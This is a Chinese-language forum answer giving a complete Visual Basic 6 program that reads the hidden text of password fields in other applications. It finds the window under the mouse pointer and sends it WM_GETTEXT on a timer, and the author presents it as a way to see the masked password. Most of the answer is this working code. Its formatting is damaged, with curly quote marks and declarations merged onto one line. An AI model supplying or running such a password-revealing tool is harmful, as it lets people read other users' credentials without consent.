用什么API实现?

解决方案 »

  1.   

    windowsformpoint
    一、用GetCursorPos和WindowFormPoint 两个 API 函数获得鼠标所指的对象的句柄。
      二、获取文本。这个用GetWindowText是得不到的,但用SendMessage发一条WM_GETTEXT消息,它就会老老实实地把密码传回来了。
      程序如下:
      新建一标准的EXE工程,在窗体中添加一文本框(Name = Txt Text = ″″)、一定时器(Name = Tim Interval= 100 Enabled = False)、两个按钮(Name = CmdStart Caption=″Start″、Name = CmdStop Caption=″Stop″)。安排好界面后输入以下代码:
      ′申明部分
      Private Type POINTAPI
       x As Long
       y As Long
      End Type
      Dim Pos As POINTAPI
      Dim hResult As Long
      Dim hNow As Long
      Dim hLength As Long
      Dim bArr() As Byte, bArr2() As Byte
      Private Const WM_GETTEXT = &HD
      Private Const WM_GETTEXTLENGTH = &HE
      Private Declare Sub RtlMoveMemory Lib ″KERNEL32″ (lpvDest As Any, lpvSource As Any, ByVal cbCopy As Long)
      Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPrivate Declare Function WindowFromPoint Lib ″user32″ (ByVal xPoint As Long, ByVal yPoint As Long) As Long
      Private Declare Function GetCursorPos Lib ″user32″ (lpPoint As POINTAPI) As Long′获取文本的函数
      Function GetText(ByVal hWndNow As Long) As String
      ′获取文本长度
      hLength = SendMessage(hWndNow, WM_GETTEXTLENGTH, 0, 0)
      If hLength > 0 Then
      ′设置缓冲区
       ReDim bArr(hLength + 1) As Byte, bArr2(hLength - 1) As Byte
       Call RtlMoveMemory(bArr(0), hLength, 2)
      ′发送 WM_GETTEXT 消息
       Call SendMessage(hWndNow, WM_GETTEXT, hLength + 1, bArr(0))
       Call RtlMoveMemory(bArr2(0), bArr(0), hLength)
      ′得到文本
       GetText = StrConv(bArr2, vbUnicode)
      Else
       GetText = ″″
      End If
      End Function
      ′开始获取文本
      Private Sub CmdStart_Click()
      Tim.Enabled = True
      End Sub
      ′停止获取文本
      Private Sub CmdStop_Click()
      Tim.Enabled = False
      End Sub
      ′Timer控件调用获取文本函数
      Private Sub Tim_Timer()
      hResult = GetCursorPos(Pos)
      hNow = WindowFromPoint(Pos.x, Pos.y)
      ′防止获取自身文本
      If hNow <> Txt.hWnd Then
       Txt.Text = GetText(hNow)
      End If
      DoEvents
      End Sub
      运行程序,按 Start按钮后,鼠标所指的密码就看到了,如图。